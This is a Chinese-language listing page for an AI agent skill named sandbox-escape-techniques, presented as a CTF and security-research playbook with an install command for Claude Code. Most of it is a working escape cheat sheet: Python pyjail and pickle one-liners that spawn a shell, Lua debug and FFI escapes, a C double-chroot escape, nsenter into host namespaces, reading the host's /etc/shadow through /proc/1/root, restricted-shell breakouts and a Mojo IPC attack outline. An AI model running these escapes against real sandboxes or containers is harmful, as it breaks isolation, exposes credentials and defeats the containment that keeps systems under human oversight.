关于 sandbox-escape-techniques
sandbox-escape-techniques 是面向 CTF 与安全研究的沙箱逃逸攻击指南,覆盖 Python、Lua、seccomp、chroot、容器和浏览器环境。内容按沙箱类型整理,并提供识别线索与对应方法。
主要功能
- 01识别常见沙箱类型
- 02Python 与 Lua 沙箱逃逸
- 03seccomp 与 chroot 绕过
- 04浏览器与 Mojo 攻击路径
- 05命名空间与容器逃逸
- 06受限 Shell 逃逸
适用场景
- 01分析 CTF pyjail 与受限脚本环境
- 02评估容器或命名空间隔离配置
- 03研究浏览器渲染进程沙箱边界
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill sandbox-escape-techniques安装后在 Claude Code 中输入/sandbox-escape-techniques确认已加载。
附带文件PYTHON_SANDBOX_ESCAPE.mdSECCOMP_BYPASS.md
详细介绍
技能:沙箱逃逸 — 专家攻击手册
AI 加载指令:涵盖 Python、Lua、seccomp、chroot、Docker/容器和浏览器沙箱环境中的专家级沙箱逃逸技术。包括 CTF pyjail 模式、seccomp 架构混淆、chroot 文件描述符泄漏、命名空间逃逸和 Mojo IPC 滥用。内容提炼自 ctf-wiki 沙箱章节和真实世界的容器逃逸案例。基础模型常常无法区分不同类型的沙箱,并会套用错误的逃逸技术。
0. 相关路由
- browser-exploitation-v8 — 在浏览器沙箱逃逸之前,利用 V8 实现渲染进程 RCE
- container-escape-techniques — Docker/容器专用逃逸技术
- kernel-exploitation — 用于容器/命名空间逃逸的内核漏洞利用
- linux-privilege-escalation — 逃逸后的权限提升
进阶参考资料
- PYTHON_SANDBOX_ESCAPE.md — 完整的 pyjail 方法:
__builtins__恢复、关键字绕过、AST 绕过、pickle 逃逸 - SECCOMP_BYPASS.md — 架构混淆、io_uring 绕过、ptrace 绕过、允许的系统调用链式利用
1. 沙箱类型识别
| 沙箱类型 | 特征 | 典型环境 |
|---|---|---|
| Python 沙箱(pyjail) | 内置函数受限、关键字过滤、可用 exec/eval | CTF、在线评测系统、Jupyter |
| Lua 沙箱 | 无 os、io 模块;元表受限 | 游戏脚本、配置 |
| seccomp | 系统调用过滤、prctl(PR_SET_SECCOMP) | CTF pwn、容器加固 |
| chroot | 根文件系统已更改、/proc 访问受限 | 旧式隔离 |
| Docker/容器 | 命名空间、cgroup、能力集缩减 | 云、微服务 |
| 浏览器(渲染进程) | 操作系统级沙箱(Linux 上的 seccomp-bpf + 命名空间) | Chrome、Firefox |
| 命名空间隔离 | PID/挂载/网络/用户命名空间 | 容器运行时 |
2. Python 沙箱逃逸(概览)
完整方法请参阅 PYTHON_SANDBOX_ESCAPE.md。
快速参考
| 技术 | 单行代码 |
|---|---|
| 子类遍历 | ().__class__.__bases__[0].__subclasses__() → 查找 os._wrap_close → __init__.__globals__['system'] |
| 导入恢复 | __builtins__.__import__('os').system('sh') |
| getattr 绕过 | getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os') |
| chr 构造 | eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) |
| Pickle 逃逸 | pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") |
| 代码对象 | 构造 types.CodeType(...),然后使用自定义字节码调用 exec() |
3. Lua 沙箱逃逸
受限环境绕过
-- If debug library available:
debug.getinfo(1) -- information leakage
debug.getregistry() -- access global registry
debug.getupvalue(func, 1) -- read closed-over variables
debug.setupvalue(func, 1, new_val) -- overwrite upvalues
-- Recover os module via debug:
local getupvalue = debug.getupvalue
-- Walk upvalues of known functions to find references to os/io
-- If loadstring available:
loadstring("os.execute('sh')")()
-- If string.dump available:
-- Dump function bytecode, patch it, load modified function
-- Metatables escape:
-- If rawset/rawget blocked but __index/__newindex exists:
-- Forge metatable chain to access restricted globals
Lua FFI 逃逸(LuaJIT)
-- LuaJIT FFI provides C function access
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")
-- If require is blocked but ffi is preloaded:
-- Find ffi via package.loaded or debug.getregistry
4. CHROOT 逃逸
| 技术 | 条件 | 方法 |
|---|---|---|
| 打开指向真实根目录的文件描述符 | 泄漏了来自 chroot 外部的文件描述符 | fchdir(leaked_fd) 然后执行 chroot(".") |
| 双重 chroot | 进程在 chroot 内具有 root 权限 | mkdir("x"); chroot("x"); chdir("../../../..") |
| TIOCSTI ioctl | 可访问终端(文件描述符 0 是 TTY) | 通过 ioctl(0, TIOCSTI, &c) 向父 shell 注入按键 |
| /proc 访问 | chroot 内挂载了 /proc | /proc/1/root/ → 访问真实根文件系统 |
| ptrace | CAP_SYS_PTRACE | 附加到 chroot 外部的进程 |
| 挂载命名空间 | 具有特权 | 将真实根目录挂载到 chroot 中 |
双重 Chroot 逃逸
// Must be root inside chroot
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape"); // new chroot inside old chroot
// Old CWD is now outside the new chroot
// Navigate up to real root:
for (int i = 0; i < 100; i++) chdir("..");
chroot("."); // now at real root
execl("/bin/sh", "sh", NULL);
5. 浏览器沙箱逃逸(概览)
Chrome 沙箱架构(Linux)
Renderer Process:
├── seccomp-bpf (syscall filter)
├── PID namespace (isolated PIDs)
├── Network namespace (no direct network)
├── Mount namespace (minimal filesystem)
└── Reduced capabilities (no CAP_SYS_ADMIN etc.)
逃逸向量
| 向量 | 描述 |
|---|---|
| Mojo IPC 漏洞 | 浏览器进程中的 Mojo 接口处理程序存在 UAF 或类型混淆 |
| 共享内存损坏 | 损坏渲染器与浏览器之间的共享内存段 |
| GPU 进程漏洞 | 利用 GPU 进程(沙箱限制较少)作为跳板 |
| 内核漏洞利用 | 通过内核漏洞直接逃逸(绕过所有沙箱机制) |
| 信号处理 | 沙箱边界之间的信号传递存在竞争条件 |
Mojo 接口攻击模式
1. Renderer RCE achieved (via V8/Blink bug)
2. Enumerate available Mojo interfaces from renderer
3. Find vulnerable interface (UAF on message handling, integer overflow in parameter validation)
4. Craft malicious Mojo message → trigger bug in browser process
5. Browser process is unsandboxed → full system access
6. 命名空间逃逸
用户命名空间提权
# If allowed to create user namespaces (unprivileged):
unshare -Urm # Create new user + mount namespace as root inside
# Inside namespace: can mount, modify, etc.
# Escape requires kernel bug or misconfiguration
PID 命名空间逃逸
# If /proc is from host (misconfigured container):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# Enters init process namespaces → host access
挂载命名空间技巧
# If can see host filesystem via /proc/1/root:
ls -la /proc/1/root/ # host root filesystem
cat /proc/1/root/etc/shadow # read host files
# If can mount:
mount -t proc proc /proc
# Access host /proc entries
7. RBASH / 受限 Shell 逃逸
| 技术 | 方法 |
|---|---|
| vi/vim | :!/bin/bash or :set shell=/bin/bash then :shell |
| less/more | !/bin/bash |
| awk | awk 'BEGIN {system("/bin/bash")}' |
| find | find / -exec /bin/bash \; |
| python/perl/ruby | python -c 'import pty;pty.spawn("/bin/bash")' |
| ssh | ssh user@host -t /bin/bash |
| 环境变量 | export PATH=/usr/bin:/bin; /bin/bash |
| cp | 将 /bin/bash 复制到允许的目录 |
| git | git help config → then !/bin/bash in pager |
| 编码 | `echo /bin/bash |
8. 决策树
What type of sandbox?
├── Python sandbox (pyjail)?
│ └── See PYTHON_SANDBOX_ESCAPE.md
│ ├── __builtins__ available? → direct import
│ ├── Subclass walk: ().__class__.__bases__[0].__subclasses__()
│ ├── Keywords filtered? → chr()/getattr() construction
│ └── eval/exec available? → code object manipulation
│
├── Lua sandbox?
│ ├── debug library available? → getregistry/getupvalue
│ ├── FFI available (LuaJIT)? → ffi.C.system()
│ ├── loadstring available? → load arbitrary code
│ └── All restricted? → metatable chain exploitation
│
├── seccomp filter?
│ └── See SECCOMP_BYPASS.md
│ ├── Architecture confusion (32-bit syscalls from 64-bit)
│ ├── Allowed syscalls → ORW chain
│ ├── io_uring allowed? → bypass via io_uring
│ └── ptrace allowed? → debug child process
│
├── chroot jail?
│ ├── Root inside chroot? → double chroot escape
│ ├── Leaked fd? → fchdir to real root
│ ├── /proc mounted? → /proc/1/root access
│ └── Terminal access? → TIOCSTI injection
│
├── Container / Docker?
│ ├── Privileged container? → mount host, load kernel module
│ ├── Mounted docker.sock? → docker API → escape
│ ├── See ../container-escape-techniques/SKILL.md
│ └── Kernel exploit → full escape
│
├── Browser sandbox?
│ ├── Have renderer RCE? → target Mojo IPC for browser escape
│ ├── GPU process accessible? → less-sandboxed stepping stone
│ └── Kernel exploit → bypass sandbox entirely
│
└── Restricted shell (rbash)?
└── Find any interactive program (vi, less, python, awk, git)
评论
支持 Markdown